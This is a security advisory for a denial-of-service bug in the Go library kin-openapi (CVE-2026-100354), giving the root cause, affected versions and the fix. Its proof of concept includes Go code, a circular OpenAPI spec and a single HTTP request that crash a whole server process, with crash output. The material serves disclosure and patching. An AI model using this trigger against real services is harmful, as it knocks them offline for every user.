---
id: "CVE-2026-100354"
page: "https://infrastack.ai/live/CVE-2026-100354"
kind: "vulnerability"
aliases: ["CVE-2026-100354", "GHSA-g8cf-rcjf-c8cf", "GO-2026-6785"]
title: "kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash"
severity: "high"
cvss: 7.5
epss: 0.00435
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/getkin/kin-openapi", "fixed": ["0.149.0"], "affected": "< 0.149.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-674", "go", "kin-openapi", "openapi", "package"]
not_affected_if: ["go-not-used", "no-untrusted-specs"]
published_at: "2026-10-15T17:17:07+00:00"
first_seen_at: "2026-11-06T00:09:04+00:00"
updated_at: "2026-11-06T00:19:08+00:00"
sources: [{"source": "govuln", "url": "https://pkg.go.dev/vuln/GO-2026-6785", "first_seen_at": "2026-11-06T00:09:04+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100354", "first_seen_at": "2026-11-06T00:19:01+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-g8cf-rcjf-c8cf", "first_seen_at": "2026-11-06T00:19:08+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00435, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-100354"}]
---

# kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

Link for people: https://infrastack.ai/live/CVE-2026-100354 (this .md is for agents)

kin-openapi, a Go library for parsing OpenAPI specifications, recurses without limit when a schema references itself through allOf, anyOf or oneOf. Processing such a schema makes the whole process crash fatally.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/getkin/kin-openapi affected < 0.149.0 fixed 0.149.0

## How to check

- Check the version of `github.com/getkin/kin-openapi` in `go.mod` or `go list -m github.com/getkin/kin-openapi`
- Look for code that loads or validates OpenAPI documents from untrusted input using this library

## Fix

- `github.com/getkin/kin-openapi` `0.149.0`

## Timeline

- 2026-11-06T00:09:04+00:00 govuln https://pkg.go.dev/vuln/GO-2026-6785
- 2026-11-06T00:19:01+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-100354
- 2026-11-06T00:19:08+00:00 ghsa https://github.com/advisories/GHSA-g8cf-rcjf-c8cf

## Documents

- [advisory] Vendor advisory: github.com https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-g8cf-rcjf-c8cf
- [fix] Patch: github.com https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff
- [fix] Release notes: github.com https://github.com/getkin/kin-openapi/releases/tag/v0.149.0

## From the sources

## Summary

kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.

The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.

Two independent unguarded recursion sites were confirmed:

1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).
2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.

## Details 
### Root Cause

`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):

```go
func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
	if slices.Contains(stack, schema) {
		return stack, nil
	}
	// ...
	stack = append(stack, schema)
```

The runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:

```go
func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
	// ...
	for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
		v := item.Value
		// no check for item.Value == schema (or any ancestor)
		if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle
```

The request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):

```go
func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
	if len(schema.Value.AllOf) > 0 {
		for _, sr := range schema.Value.AllOf {
			value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check
```

## Proof of Concept

### Environment

- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)
- Go 1.26.7

### Path A: response / direct schema validation (`VisitJSON`)

A schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:

```go
recursiveSchema := &openapi3.Schema{
	Type:       &openapi3.Types{"object"},
	Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular

_ = recursiveSchema.Validate(ctx)                       // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes
```

Output:

```
Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
... (repeats until stack overflow)
```

A `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.

### Path B: HTTP request validation against a loaded spec (realistic delivery)

A legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:

```yaml
openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
  /test:
    get:
      parameters:
        - name: data
          in: query
          schema: { $ref: '#/components/schemas/Recursive' }
      responses: { '200': { description: OK } }
components:
  schemas:
    Recursive:
      type: object
      allOf:
        - $ref: '#/components/schemas/Recursive'
      properties:
        name: { type: string }
```

A single `GET /test?data=x` crashes the whole server process:

```
Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)
```

The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.

### Fix verification

Adding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:

- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.
- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:

```
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.
```

## Impact

An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.

Attack surface, in order of exposure:

- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
